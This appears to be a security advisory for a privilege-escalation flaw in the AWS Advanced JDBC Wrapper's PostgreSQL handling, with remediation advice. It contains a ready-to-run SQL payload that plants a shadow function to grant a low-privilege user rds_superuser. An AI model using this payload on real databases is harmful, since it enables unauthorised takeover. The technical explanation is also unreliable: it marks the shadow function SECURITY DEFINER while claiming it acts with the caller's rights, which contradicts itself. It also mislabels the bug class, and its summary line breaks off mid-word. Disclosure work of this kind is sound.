high · 8CVE-2026-11400Jul 17, 2026

CVE-2026-11400: aws-advanced-jdbc-wrapper Privilege Escalation via Unqualified PostgreSQL Function Calls

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A low-privilege Aurora PostgreSQL user can create a crafted function in the public schema that gets silently executed with another RDS user's permissions, including rds_superuser, whenever that user c

Packagesoftware.amazon.jdbc:aws-advanced-jdbc-wrapper
Ecosystemmaven
Affected>= 3.0.0, < 4.0.1
Fixed in4.0.1

The problem

The GlobalDatabasePlugin, introduced in v3.0.0 of the AWS Advanced JDBC Wrapper, runs PostgreSQL topology-detection queries on every new connection. These queries call internal functions (such as `aurora_global_db_instance_status`) without schema-qualifying them, so PostgreSQL resolves the names against `search_path` rather than `pg_catalog` directly.

Because `public` appears first in the default `search_path`, any authenticated user who can create objects in `public` can plant a function with the same name. The wrapper then executes that attacker-controlled function using the connecting user's session, which may carry `rds_superuser` membership.

Proof of concept

A working proof-of-concept for CVE-2026-11400 in software.amazon.jdbc:aws-advanced-jdbc-wrapper, with the exact payload below.

sql
-- Run once as any low-privilege authenticated DB user.
-- The wrapper calls aurora_global_db_instance_status() unqualified on every
-- new connection, so this shadow function runs in the victim's session.
CREATE OR REPLACE FUNCTION public.aurora_global_db_instance_status()
RETURNS void
SECURITY DEFINER
LANGUAGE plpgsql
AS $$
BEGIN
  -- Execute arbitrary SQL with the connecting user's privileges.
  -- Example: grant the attacker rds_superuser.
  EXECUTE 'GRANT rds_superuser TO low_priv_user';
END;
$$;

-- Next time a privileged user (e.g. rds_superuser member) connects through
-- the wrapper, the function above runs automatically in their session.

The fix, described in the 4.0.1 CHANGELOG, fully qualifies all topology-detection function calls so they resolve to `pg_catalog` directly and are immune to `search_path` manipulation. This is a textbook CWE-89 / untrusted search path pattern: PostgreSQL resolves unqualified identifiers left-to-right through `search_path`, and `public` is writeable by all users by default.

The `GlobalDatabasePlugin` code path (added in 3.0.0 for Aurora Global Database failover support) was the new introduction that repeated the same class of bug patched in CVE-2025-12967 for older wrapper versions. The SECURITY DEFINER attribute on the shadow function is what makes the privilege hop concrete: it runs under the definer's rights, but any grants or mutations issued inside it affect the caller's session permanently.

The official workaround confirms the mechanism: removing `public` from `search_path` breaks the name-resolution chain and prevents the shadow function from being found.

The fix

Upgrade to aws-advanced-jdbc-wrapper 4.0.1 or later. The release schema-qualifies all internal PostgreSQL function calls, eliminating the search path dependency. As an interim workaround, remove the public schema from search_path for all RDS users: `ALTER ROLE <user> SET search_path = pg_catalog, pg_temp;`

Reported by ph0smet.

References: [1][2][3][4][5][6]

Related research